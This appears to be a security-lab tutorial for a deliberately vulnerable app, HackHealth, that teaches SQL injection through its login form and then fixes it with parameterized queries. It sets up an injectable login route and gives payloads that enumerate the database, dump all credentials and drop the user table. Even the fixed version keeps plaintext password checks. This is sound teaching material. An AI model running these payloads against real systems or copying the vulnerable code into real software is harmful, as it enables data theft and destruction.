A03:2021 - Injection

SQL Injection

Attack

Code preparation

To prepare for this attack, we need to slightly modify the implementation of handling the login request, because we have already implemented a secure way in section ❕JWT authentication.
Replace the handling of login request in routes/jwtAuth.ts with the following code:

// LOGIN
router.post("/login", bruteforce.prevent, async (req, res) => {
    const {email, password} = req.body;
    let user = null;
 
    try {
        user = await pool.query(
            "SELECT email, password from useraccount WHERE email = '" + email + "'"
        );
 
        if (user?.rows?.length === 0 || user?.length === 0) {
            return res.status(401).json({message: "Invalid email.", user: user});
        }
 
        const validPassword = password === user.rows[0].password;
 
        if (!validPassword) {
            return res.status(401).json({message: "Invalid password.", user: user});
        }
 
        const token = generateJWT(user.rows[0].password);
        res.json({
            success: true,
            message: "Authentication successful!",
            token: token,
            user: user
        });
    } catch (err) {
        console.error(err.message);
        res.status(500).send({message:"Server error", user: user});
    }
});

Gather internal information

Firstly, we are going to gather some internal information about the database and tables, which will then help us to perform some more serious attacks.

Database type

• Enter the following inside the email field on the HackHealth login screen.

' UNION SELECT usename, NULL FROM pg_user--

• Leave the password field empty and click on the login button.
  
• When you open Developer Tools, in the Console, when digging deeper into user.rows in JSON response from the server, you will see the type of database which is used.
  

Database name

• Enter the following inside the email field on the HackHealth login screen, keep the password field empty, and hit Login.

' UNION SELECT current_database(), null--

• After digging deeper into the servers response, in user.rows, you will see the name of the database: hackhealthdb
  

Names of tables

• In the same way as in the previous step, we can get the names of the tables by inserting the following code into the email field.

'; SELECT table_name FROM information_schema.tables WHERE table_schema='public'; --

• Again, after digging deeper into user[1].rows, you will see the names of the tables.
  
  • useraccount
  • appointment
  • medicalreport

Grant unauthorized access

In this attack, we aim to get login credentials for all the users in the table useraccount.
Into an email field, we are going to insert the following code:

' OR 1=1; --

SELECT email, password form useraccount WHERE email = '' OR 1=1; --

• In the response from the server (user.rows), we are now able to see all the users with their login credentials.
  

Corrupt the tables and database

SQL injection attack is not only about getting the data but also about corrupting the data.

Drop the table

• Enter the following inside the email field on the HackHealth login screen.

'; DROP TABLE useraccount CASCADE; --

• Congratulations, you have just dropped the table useraccount!
  
• Now, when you try to log in with the credentials you have obtained in the previous step, you will not be able to log in -> the table of users just does not exist anymore.
  

Drop the database

Dropping the database is quite more challenging than dropping individual tables. When you will try to execute the command:

'; DROP DATABASE hackhealthdb; --

you will get an error in the server log: DROP DATABASE cannot run inside a transaction block. This indicates that PostgreSQL does not allow a database to be dropped while there are active connections to it. This is to prevent accidental data loss due to unintended drops. A solution would be to terminate all running connections to the database, but this could not be done through SQL injection.
Although the attempt about dropping the whole database was not successful, we have already caused considerable damage.

npm run db-drop
npm run db-create
npm run db-seed

Prevention

To prevent SQL injection attacks, it's important to use parameterized queries instead of concatenating user input directly into SQL queries. Parameterized queries use placeholders for user input and sanitize the input to prevent malicious SQL code from being executed.
In the source code, we can replace the current implementation of handling login request with the following code:

// LOGIN
router.post("/login", bruteforce.prevent, inputValidation, async (req, res) => {
    const {email, password} = req.body;
 
    try {
        const user = await pool.query(
            "SELECT * FROM useraccount WHERE email = $1",
            [email]
        );
 
        if (user.rows.length === 0) {
            return res.status(401).json("Invalid email.");
        }
 
        // VUL A02
        // const validPassword = await bcrypt.compare(password, user.rows[0].password);
 
        const validPassword = password === user.rows[0].password;
 
        if (!validPassword) {
            return res.status(401).json("Invalid password.");
        }
 
        const token = generateJWT(user.rows[0].password);
        res.json({
            success: true,
            message: "Authentication successful!",
            token: token,
        });
    } catch (err) {
        console.error(err.message);
        res.status(500).send("Server error");
    }
});

As you can see in the code above, we are using placeholders for user input and sanitizing the input (inputValidation middleware) to prevent malicious SQL code from being executed.

Also, in the file Login.js (easily find by pressing Shift+Shift and typing Login.js), we need to delete the line:

console.log(parseJSON)

By deleting the line, we will no longer be able to see the response from the server in the Console in Developer Tools, which is a better practice.

Verification

To verify that the vulnerability has been fixed, you can try running some commands from the Attack section again. The result should be, that injecting malicious SQL code into the email field will not trigger any unintended behavior.

Sources

• https://cwe.mitre.org/data/definitions/89.html\ (opens in a new tab)
• Bachelor thesis